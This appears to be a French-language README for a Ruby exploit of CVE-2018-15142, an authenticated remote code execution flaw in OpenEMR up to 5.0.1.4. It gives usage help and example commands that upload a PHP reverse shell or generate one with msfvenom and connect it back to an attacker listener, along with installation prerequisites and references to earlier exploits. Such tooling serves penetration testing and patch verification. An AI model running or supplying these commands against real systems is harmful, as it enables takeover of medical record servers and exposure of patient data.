Exploit RCE OpenEMR / PoC

OpenEMR <= 5.0.1.4 - Exécution de code à distance (authentifiée)

Exploit pour CVE-2018-15142.

[EDB-49486] [PacketStorm] [WLB-2020080011]

Utilisation

$ ruby exploit.rb --help
OpenEMR <= 5.0.1.4 - (Authenticated) Remote Code Execution

Usage:
  exploit.rb manual --root-url <url> --shell <filename> --user <username> --password <password> [--debug]
  exploit.rb semi-auto --root-url <url> --user <username> --password <password> --payload <payload> --lhost <host> --lport <port> [--debug]
  exploit.rb auto --root-url <url> --user <username> --password <password> --lhost <host> --lport <port> [--debug]
  exploit.rb -H | --help

Options:
  -r <url>, --root-url <url>            Root URL (base path) including HTTP scheme, port and root folder
  -s <filename>, --shell <filename>     Filename of the PHP reverse shell payload
  -u <username>, --user <username>      Username of the admin
  -p <password>, --password <password>  Password of the admin
  -m <payload>, --payload <payload>     Metasploit PHP payload
  -h <host>, --lhost <host>             Reverse shell local host
  -t <port>, --lport <port>             Reverse shell local port
  --debug                               Display arguments
  -H, --help                            Show this screen

Examples:
  exploit.rb manual -r http://example.org/openemr -s myRevShell.php -u admin -p pass123
  exploit.rb semi-auto -r http://example.org:8080/openemr -u admin_emr -p qwerty2020 -m 'php/reverse_php' -h 10.0.0.2 -t 8888
  exploit.rb auto -r https://example.org:4443 -u admin_usr -p rock5 -h 192.168.0.2 -t 9999

Modes

Auto : vous connaissez la cible et votre listener est prêt, laissez l'exploit gérer le reste
Semi-auto : identique à auto mais vous souhaitez spécifier un autre payload que le php/reverse_php par défaut
Manuel : vous avez déjà un reverse shell PHP personnalisé, l'exploit vous permet de le spécifier

Prérequis

httpclient
docopt.rb
(Facultatif) Metasploit Framework (msfvenom pour la génération du reverse shell dans les modes auto et semi-auto)

Exemple pour BlackArch :

pacman -S ruby-httpclient ruby-docopt metasploit

Exemple avec gem :

gem install httpclient docopt

Référence

Il s'agit d'une meilleure réécriture de EDB-ID-48515 et de l'implémentation de EDB-ID-45202 partie 2 :

utilise des arguments (au lieu de valeurs codées en dur)
permet un reverse shell PHP personnalisé ou la génération automatique d'un avec msfconsole
plus propre et plus personnalisable
utilise ruby (python2 est obsolète)

Cet exploit a été testé avec Ruby 2.7.1.

À propos de EDB-ID-48515 :

Exploit Author: Musyoka Ian
Date: 2020-05-25
Vendor Homepage: https://www.open-emr.org/
Software Link: https://github.com/openemr/openemr/archive/v5_0_1_3.tar.gz
Dockerfile: https://github.com/haccer/exploits/blob/master/OpenEMR-RCE/Dockerfile 
Version: < 5.0.1 (Patch 4)
Tested on: Ubuntu LAMP, OpenEMR Version 5.0.1.3
References: https://medium.com/@musyokaian/openemr-version-5-0-1-remote-code-execution-vulnerability-2f8fd8644a69

OpenEMR-RCE

Populaires

Exploit RCE OpenEMR / PoC

Utilisation

Modes

Prérequis

Référence